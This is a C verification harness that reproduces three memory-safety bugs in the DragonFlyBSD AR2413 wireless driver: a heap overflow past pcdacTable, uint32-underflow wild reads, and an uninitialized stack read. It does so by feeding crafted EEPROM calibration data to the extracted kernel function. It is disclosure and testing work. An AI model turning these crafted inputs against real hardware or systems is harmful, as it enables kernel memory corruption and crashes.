/*
 * ar2413_harness.c -- DF-4660 / DF-4661 / DF-4662 verification harness
 *
 * Proves the memory-safety violations in
 *   sys/dev/netif/ath/ath_hal/ar5212/ar2413.c
 *   ar2413getGainBoundariesAndPdadcsForPowers()  (lines 353-496)
 * on DragonFlyBSD by compiling the REAL function bodies VERBATIM
 * (anchor-extracted at build time from the guest's /usr/src copy; see
 * build.sh: lines ~245-496 = GetLowerUpperIndex, ar2413FillVpdTable,
 * interpolate_signed, ar2413getGainBoundariesAndPdadcsForPowers)
 * against faithful struct definitions (same member order; bank row
 * counts = the real ar5212Bank{1,2,3,6,7}_2413 ini rows = 1,1,1,27,3).
 *
 * Threat model mirrored: the EEPROM raw cal dataset (ee_rawDataset2413)
 * is attacker-crafted (v3 eeprom card, AR2413 RF).  The parser bounds
 * numVpd to {0,4,5} (ar2413SetupRawDataset ah_eeprom_v3.c:656-673) and
 * pwr_t4 to EEPROM-derived values; the gain selection (xpd_mask), pwr_I
 * and the deltas are EEPROM-controlled.  The harness crafts
 * RAW_DATA_STRUCT_2413 in the exact shape ar2413SetupRawDataset /
 * ar2413EepromToRawDataset produce.  pdGainOverlap_t2 comes from the
 * 4-bit AR_PHY_TPCRG5_PD_GAIN_OVERLAP field (0..15; ar2413.c:530-531),
 * so overlap 15 is register-realistic.
 *
 * Mode 1 (DF-4660): 4 used gains, spans >= 2, Pmin pattern {0,58,58,58},
 *   overlap 15  =>  kk runs past 128 while pPDADCValues is
 *   priv->pcdacTable[PWR_TABLE_SIZE_2413 = 128]
 *   => uint16 writes past the array into Bank1Data..Bank7Data
 *   (intra-object heap overflow; detected via 0xAAAAAAAA canary prefill
 *   of the bank region).
 *
 * Mode 2 (DF-4661): xpd_mask==0 => every numVpd==0 =>
 *   numPdGainsUsed==0.  HALASSERT(1 <= numPdGainsUsed && ...) at
 *   ar2413.c:536 is compiled out in release (AH_ASSERT undefined,
 *   ah_internal.h:665-676), so:
 *     - ar2413.c:484  pPdGainBoundaries[ii-1] with ii==0: ii is
 *       uint32_t => index 0xFFFFFFFF => read at gb + 0x1FFFFFFFE
 *       (+8.59 GB) -- a WILD read, not a 2-byte under-read.
 *     - ar2413.c:488  pPDADCValues[kk-1] with kk==0: same wrap from
 *       the pcdacTable base.
 *     - ar2413.c:424  *pMinCalPower = Pmin_t2[0] reads uninitialized
 *       stack (Pmin_t2[] only written when numVpd>0).
 *   In the kernel the +8.6GB read lands in the direct map (mapped RAM
 *   => garbage value survives and propagates) or in a KVA hole (panic).
 *   The harness emulates the survival case by mmapping the exact wild
 *   pages with 0x5A5A and observing the value propagate into
 *   gainBoundaries[0] (-> AR_PHY_TPCRG5 by ar2413SetPowerTable:595-600)
 *   and pcdacTable[0] (-> 32 PHY reg writes, ar2413.c:586-593).
 *
 * Mode 3 (DF-4662): 4 gains with FLAT curves (EEPROM deltas all 0)
 *   => sizeCurrVpdTable==0 for every gain =>
 *   ar2413.c:464-465 VpdTable_I[ii][sizeCurrVpdTable-1/-2] wraps to
 *   element index 0xFFFFFFFF/0xFFFFFFFE => read at row + 0x1FFFFFFFE.
 *   Left unmapped => SIGSEGV with si_addr exactly equal to
 *   &vpdTable_I[0][0] + 0x1FFFFFFFE (asserted in the handler).
 */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <signal.h>
#include <sys/mman.h>
#include <unistd.h>

/* ---------------- kernel shims (release-build semantics) -------------- */
typedef int HAL_BOOL;
#define AH_TRUE  1
#define AH_FALSE 0
#define AH_NULL  ((void *)0)
/* release build: AH_ASSERT undefined -> HALASSERT is a no-op
 * (sys/dev/netif/ath/ath_hal/ah_internal.h:665-676) */
#define HALASSERT(x) do { } while (0)
#define HALDEBUG(ah, lvl, ...) do { } while (0)

struct ath_hal;			/* opaque: only used as a pointer */

/* RF_HAL_FUNCS -- verbatim shape from ar5212.h:135-149
 * (void* priv + 8 fn ptrs) */
typedef struct RfHalFuncs {
	void *priv;
	void (*rfDetach)(struct ath_hal *);
	void (*writeRegs)(struct ath_hal *, u_int, u_int, int);
	uint32_t *(*getRfBank)(struct ath_hal *, int);
	void *setChannel;
	void *setRfRegs;
	void *setPowerTable;
	void *getChannelMaxMinPower;
	void *getNfAdjust;
} RF_HAL_FUNCS;

/* constants from ah_eeprom_v3.h:278-292 */
#define NUM_11A_EEPROM_CHANNELS_2413 10
#define PWR_TABLE_SIZE_2413          128
#define MAX_NUM_PDGAINS_PER_CHANNEL  4
#define NUM_POINTS_LAST_PDGAIN       5
#define MAX_PWR_RANGE_IN_HALF_DB     64
#define PD_GAIN_BOUNDARY_STRETCH_IN_HALF_DB 4

/* RAW_DATA_*_2413 -- verbatim from ah_eeprom_v3.h:294-314 */
typedef struct {
	uint16_t pd_gain;
	uint16_t numVpd;
	uint16_t Vpd[NUM_POINTS_LAST_PDGAIN];
	int16_t  pwr_t4[NUM_POINTS_LAST_PDGAIN];
} RAW_DATA_PER_PDGAIN_2413;

typedef struct {
	uint16_t channelValue;
	int16_t  maxPower_t4;
	uint16_t numPdGains;
	RAW_DATA_PER_PDGAIN_2413 pDataPerPDGain[MAX_NUM_PDGAINS_PER_CHANNEL];
} RAW_DATA_PER_CHANNEL_2413;

typedef struct {
	uint16_t pChannels[NUM_11A_EEPROM_CHANNELS_2413];
	uint16_t numChannels;
	uint16_t xpd_mask;
	RAW_DATA_PER_CHANNEL_2413 pDataPerChannel[NUM_11A_EEPROM_CHANNELS_2413];
} RAW_DATA_STRUCT_2413;

/* struct ar2413State -- verbatim member order from ar2413.c:35-57;
 * bank row counts are the real ar5212Bank{1,2,3,6,7}_2413 rows counted
 * from the shipped ar5212.ini (1,1,1,27,3). */
struct ar2413State {
	RF_HAL_FUNCS base;
	uint16_t pcdacTable[PWR_TABLE_SIZE_2413];
	uint32_t Bank1Data[1];
	uint32_t Bank2Data[1];
	uint32_t Bank3Data[1];
	uint32_t Bank6Data[27];
	uint32_t Bank7Data[3];
	uint16_t vpdTable_L[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	uint16_t vpdTable_R[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	uint16_t vpdTable_I[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
};

static struct ar2413State *harness_priv;
#define AR2413(ah) ((struct ar2413State *)harness_priv)

/* ---- VERBATIM kernel code: ar2413.c lines ~245-496 (see build.sh) ---- */
#include "ar2413_extracted.inc"

/* ------------------------------- harness ------------------------------- */
static struct ar2413State state_storage;
static int g_mode;
static struct { uint16_t pre[2]; uint16_t gb[4]; } *sb;

static uint64_t wild_expect(void)
{
	if (g_mode == 2)	/* ar2413.c:484  pPdGainBoundaries[ii-1], ii==0 */
		return (uint64_t)((char *)sb->gb + 0x1FFFFFFFEull);
	/* mode 3: ar2413.c:464  VpdTable_I[0][(uint32)0-1] */
	return (uint64_t)((char *)state_storage.vpdTable_I[0] + 0x1FFFFFFFEull);
}

static void segv_handler(int sig, siginfo_t *si, void *uc)
{
	uint64_t expect = wild_expect();
	(void)sig; (void)uc;
	printf("REPRODUCED: SIGSEGV si_addr=%p, expected wild address %p\n",
	       si->si_addr, (void *)expect);
	printf("  (uint32 index wrap: element index 0xFFFFFFFF x "
	       "sizeof(uint16_t)=2 => +0x1FFFFFFFE bytes = +8.59 GB)\n");
	printf("%s\n", (uint64_t)si->si_addr == expect ?
	    "MATCH: wild OOB read proven (ar2413.c uint32 counter underflow)"
	    : "MISMATCH");
	_exit((uint64_t)si->si_addr == expect ? 0 : 2);
}

static void set_gain(RAW_DATA_STRUCT_2413 *d, int slot, int numVpd,
		     int pwr0_t4, int step_t4, int vpd0, int vpd_step)
{
	RAW_DATA_PER_PDGAIN_2413 *g =
	    &d->pDataPerChannel[0].pDataPerPDGain[slot];
	int i;
	g->pd_gain = slot;
	g->numVpd = numVpd;
	for (i = 0; i < numVpd; i++) {
		g->pwr_t4[i] = (int16_t)(pwr0_t4 + i * step_t4);
		g->Vpd[i]   = (uint16_t)(vpd0 + i * vpd_step);
	}
}

int main(int argc, char **argv)
{
	int mode = (argc > 1) ? atoi(argv[1]) : 1;
	RAW_DATA_STRUCT_2413 dataset;
	uint16_t rfXpdGain[4];
	int16_t minPower = 0x7c7c;
	int ret, i, first_bad = -1, last_bad = -1;
	struct sigaction sa;

	setvbuf(stdout, NULL, _IONBF, 0);	/* survive SIGSEGV for output */
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = segv_handler;
	sa.sa_flags = SA_SIGINFO;
	sigaction(SIGSEGV, &sa, NULL);

	sb = malloc(sizeof(*sb));			/* kernel: caller stack */
	memset(sb, 0, sizeof(*sb));
	g_mode = mode;

	memset(&state_storage, 0xAA, sizeof(state_storage));
	memset(&dataset, 0, sizeof(dataset));
	memset(rfXpdGain, 0, sizeof(rfXpdGain));

	harness_priv = &state_storage;

	dataset.numChannels = 1;			/* single pier  */
	dataset.pChannels[0] = 2437;			/* == channel   */
	dataset.xpd_mask = 0xF;

	if (mode == 1) {
		/* DF-4660: 4 gains, spans >= 2 (avoids the independent
		 * lines-464-465 uint32 wrap = DF-4662, isolating the kk
		 * overflow), Pmin pattern {0,58,58,58}.
		 * pwr_t4[0]=4*pwr_I, +2*delta per point (EEPROM shape). */
		set_gain(&dataset, 3, 4,   0, 4, 0x10, 0x3F); /* Pmin0  Pmax6  */
		set_gain(&dataset, 2, 4, 116, 4, 0x10, 0x3F); /* Pmin58 Pmax64 */
		set_gain(&dataset, 1, 4, 116, 4, 0x10, 0x3F);
		set_gain(&dataset, 0, 4, 116, 4, 0x10, 0x3F);
	} else if (mode == 3) {
		/* DF-4662: FLAT curves (EEPROM deltas all 0)
		 * => sizeCurrVpdTable == 0 for every gain */
		set_gain(&dataset, 3, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 2, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 1, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 0, 4, 124, 0, 0x10, 0x3F);
	} else {
		/* DF-4661: xpd_mask==0 -> all numVpd==0 (the shape
		 * ar2413SetupRawDataset produces for xpd_mask 0) */
		dataset.xpd_mask = 0;
	}

	sb->pre[0] = 0x1111; sb->pre[1] = 0x2222;

	if (mode == 2) {
		/* Emulate the kernel direct map: in the kernel the +8.6GB
		 * wild read lands on mapped RAM (garbage) instead of
		 * faulting.  Map the exact wild pages so the call COMPLETES
		 * and we observe the value propagate. */
		uint64_t wa[2];
		void *p1, *p2;
		wa[0] = (uint64_t)((char *)sb->gb + 0x1FFFFFFFEull) & ~0xFFFull;
		wa[1] = (uint64_t)((char *)state_storage.pcdacTable +
				    0x1FFFFFFFEull) & ~0xFFFull;
		p1 = mmap((void *)wa[0], 0x1000, PROT_READ | PROT_WRITE,
			  MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
		p2 = mmap((void *)wa[1], 0x1000, PROT_READ | PROT_WRITE,
			  MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
		if (p1 == MAP_FAILED || p2 == MAP_FAILED) {
			printf("mmap of wild pages failed\n");
			return 3;
		}
		*(uint16_t *)((char *)sb->gb + 0x1FFFFFFFEull) = 0x5A5A;
		*(uint16_t *)((char *)state_storage.pcdacTable +
			       0x1FFFFFFFEull) = 0x5A5A;
		printf("mapped wild pages %p %p, seeded 0x5A5A\n", p1, p2);
	}

	printf("sizeof(struct ar2413State)=%zu offsetof(pcdacTable)=%zu "
	       "Bank1Data=%zu vpdTable_I=%zu\n",
	       sizeof(state_storage),
	       offsetof(struct ar2413State, pcdacTable),
	       offsetof(struct ar2413State, Bank1Data),
	       offsetof(struct ar2413State, vpdTable_I));

	ret = ar2413getGainBoundariesAndPdadcsForPowers(
	    (struct ath_hal *)1 /* ah: unused by the extracted code */,
	    2437 /* channel == pChannels[0] */,
	    &dataset,
	    15 /* pdGainOverlap_t2: max of the 4-bit TPCRG5 field */,
	    &minPower, sb->gb, rfXpdGain, state_storage.pcdacTable);

	printf("mode=%d numPdGainsUsed(ret)=%d minPower=0x%04x\n",
	       mode, ret, (uint16_t)minPower);

	if (mode == 1) {
		/* DF-4660 detector: the bank region is never legitimately
		 * written by this function; any cell != 0xAAAA (u16 view)
		 * was clobbered by pPDADCValues[kk++] walking past
		 * pcdacTable[127].  Bank1..7 = (1+1+1+27+3) u32 = 66 u16. */
		uint16_t *cells = (uint16_t *)state_storage.Bank1Data;
		int ncells = 66;
		for (i = 0; i < ncells; i++) {
			if (cells[i] != (uint16_t)0xAAAA) {
				if (first_bad < 0) first_bad = i;
				last_bad = i;
			}
		}
		if (first_bad < 0) {
			printf("DF-4660: NO overflow detected\n");
			return 1;
		}
		printf("DF-4660 REPRODUCED: pPDADCValues write walked past "
		       "pcdacTable[127]: first clobbered u16 cell %d bytes "
		       "past array end, last %d bytes past "
		       "(value 0x%04x) => kk ran to %d\n",
		       first_bad * 2, last_bad * 2 + 1, cells[first_bad],
		       PWR_TABLE_SIZE_2413 + last_bad + 1);
		printf("  => intra-object heap OOB WRITE past "
		       "pcdacTable[PWR_TABLE_SIZE_2413=128] into Bank data "
		       "(reprogrammed to the radio at ar2413.c:206-210)\n");
		return 0;
	}

	/* DF-4661 detectors: the +0x1FFFFFFFE wild-read values (0x5A5A,
	 * read from pages ~8.6GB above the arrays, as the kernel direct
	 * map would allow) must have propagated into the outputs. */
	printf("gainBoundaries[0] = 0x%04x (== 0x5A5A => wild read at "
	       "gb+0x1FFFFFFFE, ar2413.c:484, then written to TPCRG5 by "
	       "ar2413SetPowerTable:595-600)\n", sb->gb[0]);
	printf("pcdacTable[0] = 0x%04x (== 0x5A5A => wild read at "
	       "pcdacTable+0x1FFFFFFFE, ar2413.c:488, replicated across "
	       "the pdadc table / 32 PHY reg writes)\n",
	       state_storage.pcdacTable[0]);
	printf("minPower out = 0x%04x (uninitialized Pmin_t2[0] stack read "
	       "at ar2413.c:424; dataset carries no power data)\n",
	       (uint16_t)minPower);
	if (sb->gb[0] == 0x5A5A && state_storage.pcdacTable[0] == 0x5A5A) {
		printf("DF-4661 REPRODUCED: uint32-underflow wild reads at "
		       "ar2413.c:484/:488 + uninit stack read at :424\n");
		return 0;
	}
	return 1;
}
